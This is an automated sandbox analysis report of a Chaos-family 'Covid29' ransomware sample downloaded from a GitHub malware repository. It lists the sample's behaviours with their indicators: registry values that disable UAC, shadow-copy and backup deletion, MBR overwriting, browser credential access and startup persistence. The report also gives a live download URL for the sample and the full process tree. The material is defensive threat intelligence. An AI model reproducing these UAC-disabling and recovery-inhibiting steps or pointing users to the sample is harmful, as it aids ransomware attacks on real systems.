chaos | hxxps://github[.]com/pankoza2-pl/malwaredatabase-old/raw/refs/heads/main/Covid29-Ransomware/Covid29%20Ransomware[.]zip

Analysis

max time kernel
92s
max time network
97s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
29-12-2024 14:19

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General

Target

https://github.com/pankoza2-pl/malwaredatabase-old/raw/refs/heads/main/Covid29-Ransomware/Covid29%20Ransomware.zip

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 4 IoCs

resource	yara_rule
behavioral1/files/0x001900000002ac27-105.dat	family_chaos
behavioral1/memory/4740-110-0x0000000000AE0000-0x0000000000B00000-memory.dmp	family_chaos
behavioral1/memory/3340-187-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos
behavioral1/memory/3340-192-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

Chaos family
chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
492	bcdedit.exe
2244	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2840	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
4636	mbr.exe
4740	Cov29Cry.exe
2932	svchost.exe
3480	Cov29LockScreen.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2584844841-1405471295-1760131749-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
13	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cjl3j53el.jpg"	svchost.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3340-77-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/3340-187-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/3340-192-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4024	PING.EXE
3472	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
228	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1040	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
4736	reg.exe
2700	reg.exe
3068	reg.exe
1740	reg.exe
2344	reg.exe
2680	reg.exe
3392	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	msedge.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3472	PING.EXE
4024	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2932	svchost.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
1364	msedge.exe
1364	msedge.exe
1288	msedge.exe
1288	msedge.exe
3344	identity_helper.exe
3344	identity_helper.exe
1652	msedge.exe
1652	msedge.exe
2268	msedge.exe
2268	msedge.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
4740	Cov29Cry.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe
2932	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2404	shutdown.exe
Token: SeRemoteShutdownPrivilege	2404	shutdown.exe
Token: SeDebugPrivilege	4740	Cov29Cry.exe
Token: SeDebugPrivilege	2932	svchost.exe
Token: SeBackupPrivilege	4588	vssvc.exe
Token: SeRestorePrivilege	4588	vssvc.exe
Token: SeAuditPrivilege	4588	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4432	WMIC.exe
Token: SeSecurityPrivilege	4432	WMIC.exe
Token: SeTakeOwnershipPrivilege	4432	WMIC.exe
Token: SeLoadDriverPrivilege	4432	WMIC.exe
Token: SeSystemProfilePrivilege	4432	WMIC.exe
Token: SeSystemtimePrivilege	4432	WMIC.exe
Token: SeProfSingleProcessPrivilege	4432	WMIC.exe
Token: SeIncBasePriorityPrivilege	4432	WMIC.exe
Token: SeCreatePagefilePrivilege	4432	WMIC.exe
Token: SeBackupPrivilege	4432	WMIC.exe
Token: SeRestorePrivilege	4432	WMIC.exe
Token: SeShutdownPrivilege	4432	WMIC.exe
Token: SeDebugPrivilege	4432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4432	WMIC.exe
Token: SeRemoteShutdownPrivilege	4432	WMIC.exe
Token: SeUndockPrivilege	4432	WMIC.exe
Token: SeManageVolumePrivilege	4432	WMIC.exe
Token: 33	4432	WMIC.exe
Token: 34	4432	WMIC.exe
Token: 35	4432	WMIC.exe
Token: 36	4432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4432	WMIC.exe
Token: SeSecurityPrivilege	4432	WMIC.exe
Token: SeTakeOwnershipPrivilege	4432	WMIC.exe
Token: SeLoadDriverPrivilege	4432	WMIC.exe
Token: SeSystemProfilePrivilege	4432	WMIC.exe
Token: SeSystemtimePrivilege	4432	WMIC.exe
Token: SeProfSingleProcessPrivilege	4432	WMIC.exe
Token: SeIncBasePriorityPrivilege	4432	WMIC.exe
Token: SeCreatePagefilePrivilege	4432	WMIC.exe
Token: SeBackupPrivilege	4432	WMIC.exe
Token: SeRestorePrivilege	4432	WMIC.exe
Token: SeShutdownPrivilege	4432	WMIC.exe
Token: SeDebugPrivilege	4432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4432	WMIC.exe
Token: SeRemoteShutdownPrivilege	4432	WMIC.exe
Token: SeUndockPrivilege	4432	WMIC.exe
Token: SeManageVolumePrivilege	4432	WMIC.exe
Token: 33	4432	WMIC.exe
Token: 34	4432	WMIC.exe
Token: 35	4432	WMIC.exe
Token: 36	4432	WMIC.exe
Token: SeBackupPrivilege	3932	wbengine.exe
Token: SeRestorePrivilege	3932	wbengine.exe
Token: SeSecurityPrivilege	3932	wbengine.exe
Token: SeDebugPrivilege	1040	taskkill.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe
1288	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2900	PickerHost.exe
3480	Cov29LockScreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 1432	1288	msedge.exe	77
PID 1288 wrote to memory of 1432	1288	msedge.exe	77
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 2092	1288	msedge.exe	78
PID 1288 wrote to memory of 1364	1288	msedge.exe	79
PID 1288 wrote to memory of 1364	1288	msedge.exe	79
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80
PID 1288 wrote to memory of 1716	1288	msedge.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/pankoza2-pl/malwaredatabase-old/raw/refs/heads/main/Covid29-Ransomware/Covid29%20Ransomware.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffaa6d23cb8,0x7ffaa6d23cc8,0x7ffaa6d23cd8
  2⤵
  PID:1432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:2092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2844 /prefetch:8
  2⤵
  PID:1716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:4216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:4708
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1
  2⤵
  PID:3068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5000 /prefetch:1
  2⤵
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
  2⤵
  PID:3744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:1
  2⤵
  PID:4088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10357793988725972788,18158877386118172891,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
  2⤵
  PID:2876

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3408

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1596

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3144

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Covid29 Ransomware\readme.txt
1⤵
PID:1340

C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe
"C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:3340
- C:\Windows\SysWOW64\cmd.exe
